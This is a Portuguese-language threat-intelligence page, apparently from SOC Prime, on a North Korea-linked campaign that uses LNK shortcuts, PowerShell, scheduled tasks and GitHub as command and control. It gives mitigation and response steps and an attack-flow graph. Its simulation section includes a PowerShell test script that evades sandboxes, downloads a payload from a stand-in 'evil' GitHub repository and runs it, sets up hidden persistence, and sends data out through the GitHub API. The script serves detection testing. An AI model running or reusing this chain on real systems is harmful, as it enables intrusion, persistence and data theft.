SOC Prime Bias: Crítico

08 Abr 2026 15:12

Campanhas Relacionadas à Coreia do Norte com LNK e GitHub C2

Author Photo
Ruslan Mikhalov Chefe de Pesquisa de Ameaças na SOC Prime linkedin icon Seguir
Campanhas Relacionadas à Coreia do Norte com LNK e GitHub C2
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Resumo

O FortiGuard Labs relata uma campanha vinculada à DPRK que utiliza arquivos de atalho LNK para lançar estágios PowerShell codificados, estabelecer persistência através de tarefas agendadas e exfiltrar dados via GitHub. A linha de comando LNK incorpora lógica de decodificação, permitindo que os operadores dependam de utilitários integrados do Windows e reduzam artefatos aparentes de malware. A atividade tem como alvo organizações na Coreia do Sul e segue um fluxo de trabalho em várias etapas. Ao usar infraestrutura pública legítima como o GitHub, a campanha se mistura ao tráfego normal de desenvolvedores e dificulta o bloqueio baseado em rede.

Investigação

Os analistas documentaram uma cadeia de três estágios: (1) arquivos LNK transportando PowerShell codificado em seus argumentos, (2) um estágio PowerShell que executa verificações anti-análise, solta um VBScript, cria uma tarefa agendada oculta e coleta detalhes do host/sistema, e (3) um estágio final que repetidamente baixa módulos adicionais de um repositório no GitHub. Várias contas no GitHub foram observadas suportando o fluxo de trabalho C2, incluindo tokens de acesso embutidos usados para fazer upload de dados através da API do GitHub. Os operadores também usaram documentos PDF falsos para tornar a isca mais crível e reduzir a suspeita do usuário.

Mitigação

Bloqueie ou restrinja a execução de arquivos LNK originários de locais não confiáveis (downloads de e-mail, pastas temporárias, caminhos de download do perfil do usuário). Monitore padrões suspeitos de execução de PowerShell e VBScript, especialmente quando seguidos pela criação de tarefas agendadas incomuns. Onde viável, limite ou proxy o acesso de saída a endpoints da API do GitHub para sistemas sem necessidade comercial, e alerte sobre uso atípico da API do GitHub a partir de hosts não desenvolvedores. Reforce a detecção de controle de aplicativos e EDR para sinalizar o abuso de ferramentas nativas do Windows usadas para encenação, decodificação e persistência.

Resposta

Se detectado, isole o endpoint e preserve as evidências coletando o arquivo LNK, a definição da tarefa agendada e quaisquer scripts descartados. Remova a tarefa agendada, revogue qualquer(m) token(s) de acesso ao GitHub exposto(s) e realize uma varredura completa do host para artefatos relacionados e módulos subsequentes. Notifique as partes interessadas relevantes, depois atualize o conteúdo de detecção para cobrir os comportamentos observados e IOCs para apoiar uma caça ao ambiente mais ampla.

"graph TB %% Class Definitions classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef process fill:#ffef99 classDef malware fill:#ff9999 %% Nodes action_initial_access["<b>Ação</b> – <b>T1566.001 Phishing: Anexo de Spearphishing</b><br/>Entrega de .lnk malicioso disfarçado como PDF coreano"] class action_initial_access action tool_lnk["<b>Ferramenta</b> – <b>Nome</b>: Atalho .lnk<br/><b>Técnica</b>: T1547.009 Modificação de Atalho"] class tool_lnk tool action_execution_lnk["<b>Ação</b> – <b>T1547.009 Execução de Inicialização ou Logon: Modificação de Atalho</b><br/>Atalho aciona o PowerShell"] class action_execution_lnk action tool_powershell["<b>Ferramenta</b> – <b>Nome</b>: PowerShell<br/><b>Técnica</b>: T1059.001 Intérprete de Comandos e Scripts"] class tool_powershell tool action_obfuscation["<b>Ação</b> – <b>Técnicas de Ofuscação</b><br/>T1027.012 Icon Smuggling, T1027.008 Cargas Removidas, T1027.009 Cargas Incorporadas"] class action_obfuscation action action_sandbox_evasion["<b>Ação</b> – <b>T1497.002 Evasão de Virtualização/Sandbox</b><br/>Verifica ferramentas de análise e aborta"] class action_sandbox_evasion action action_decode_payload["<b>Ação</b> – <b>T1059.001 PowerShell</b><br/>Decodifica Base64/XOR, escreve VBScript em %Temp%"] class action_decode_payload action tool_vbscript["<b>Ferramenta</b> – <b>Nome</b>: VBScript<br/>Escreve script em %Temp%"] class tool_vbscript tool tool_scheduled_task["<b>Ferramenta</b> – <b>Nome</b>: Tarefa Agendada<br/><b>Técnica</b>: T1037 Scripts de Inicialização de Boot ou Logon"] class tool_scheduled_task tool action_persistence["<b>Ação</b> – <b>Persistência</b><br/>Executa VBScript a cada 30 minutos"] class action_persistence action action_discovery["<b>Ação</b> – <b>Descoberta</b><br/>T1082 Descoberta de Informações do Sistema, T1057 Descoberta de Processos"] class action_discovery action action_c2["<b>Ação</b> – <b>Comando e Controle</b><br/>T1567.001 Exfiltração para GitHub, T1102.002 Serviço Web Bidirecional, T1538 Painel de Serviço em Nuvem"] class action_c2 action tool_github["<b>Ferramenta</b> – <b>Nome</b>: API do GitHub<br/>Usado para exfiltração e recuperação de módulos"] class tool_github tool %% Connections action_initial_access –>|entrega| tool_lnk tool_lnk –>|aciona| action_execution_lnk action_execution_lnk –>|usa| tool_powershell tool_powershell –>|executa| action_obfuscation action_obfuscation –>|leva a| action_sandbox_evasion action_sandbox_evasion –>|procede para| action_decode_payload action_decode_payload –>|escreve| tool_vbscript tool_vbscript –>|cria| tool_scheduled_task tool_scheduled_task –>|habilita| action_persistence action_persistence –>|coleta dados para| action_discovery action_discovery –>|envia dados para| action_c2 action_c2 –>|usa| tool_github "

Fluxo do Ataque

Execução da Simulação

Pré-requisito: A Verificação Pré‑voo de Telemetria e Base deve ter sido aprovada.

Racional: Esta seção detalha a execução precisa da técnica do adversário (TTP) projetada para acionar a regra de detecção. Os comandos e a narrativa DEVEM refletir diretamente os TTPs identificados e visam gerar a telemetria exata esperada pela lógica de detecção.

  • Narrativa e Comandos de Ataque:
    O adversário comprometeu uma conta de usuário de baixo privilégio em uma estação de trabalho Windows. Para manter a persistência e exfiltrar dados furtivamente, eles criam um único comando PowerShell que:

    1. Verifica processos comuns de ferramentas de análise (vmxnet, vboxservice, idaq, fiddler, wireshark). Se algum estiver presente, o script aborta.
    2. Faz download de uma carga útil codificada em Base64 de um repositório público do GitHub (https://raw.githubusercontent.com/evil/loot/main/payload.b64).
    3. Decodifica a carga útil na memória e a executa.
    4. Registra uma tarefa agendada via New‑ScheduledTaskAction para reexecutar o mesmo comando PowerShell a cada reinicialização (persistência).
    5. Envia dados roubados de volta ao repositório GitHub do atacante usando a API do GitHub (api.github.com).

    Todos os passos são concatenados com ponto e vírgula, garantindo que a linha de comando inteira contenha as strings requeridas para a regra Sigma. command line contains the required strings for the Sigma rule.

  • Script de Teste de Regressão:

    # -------------------------------------------------
    # Uma única linha que satisfaz todas as condições do Sigma
    # -------------------------------------------------
    $envChecks = "vmxnet","vboxservice","idaq","fiddler","wireshark"
    foreach($c in $envChecks){ if (Get-Process -Name $c -ErrorAction SilentlyContinue){ exit } }
    $b64 = Invoke-RestMethod -Uri "https://raw.githubusercontent.com/evil/loot/main/payload.b64"
    $bytes = [System.Convert]::FromBase64String($b64)
    $decoded = [System.Text.Encoding]::UTF8.GetString($bytes)
    IEX $decoded
    $action = New-ScheduledTaskAction -Execute "powershell.exe" -Argument "-NoProfile -WindowStyle Hidden -Command `"& {<INSERT SAME ONE‑Liner HERE>}`""
    $trigger = New-ScheduledTaskTrigger -AtLogon
    Register-ScheduledTask -TaskName "SysUpdate" -Action $action -Trigger $trigger -RunLevel Highest -Force
    # Exfiltrate sample data
    $data = "SensitiveInfo"
    $json = @{content=$data} | ConvertTo-Json
    Invoke-RestMethod -Method Post -Uri "https://api.github.com/repos/evil/collector/contents/data.txt" -Body $json -Headers @{Authorization="token <PAT>"}

    Nota: Substitua <INSIRA A MESMA LINHA AQUI> com a mesma linha exata (recursiva) ou armazene-a em uma variável para evitar duplicação. O script é intencionalmente detalhado para ilustrar cada passo; em uma campanha real, o adversário iria compactá-lo ainda mais.

  • Comandos de Limpeza:

    # Remova a tarefa agendada
    Unregister-ScheduledTask -TaskName "SysUpdate" -Confirm:$false
    
    # Apague quaisquer arquivos temporários (se houver algum escrito)
    Remove-Item -Path "$env:TEMPpayload.b64" -ErrorAction SilentlyContinue
    
    # Opcionalmente, termine o processo malicioso em memória (se ainda estiver em execução)
    Get-Process -Name "powershell" | Where-Object {$_.StartInfo.Arguments -match "evil"} | Stop-Process -Force